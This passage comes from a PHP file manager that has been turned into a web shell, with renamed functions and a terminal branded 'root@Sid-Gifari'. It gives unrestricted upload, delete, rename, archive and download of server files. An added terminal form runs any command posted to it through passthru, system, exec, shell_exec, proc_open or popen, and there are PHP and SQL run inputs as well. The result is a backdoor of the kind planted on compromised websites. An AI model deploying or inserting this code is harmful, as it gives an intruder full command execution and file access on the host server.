            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
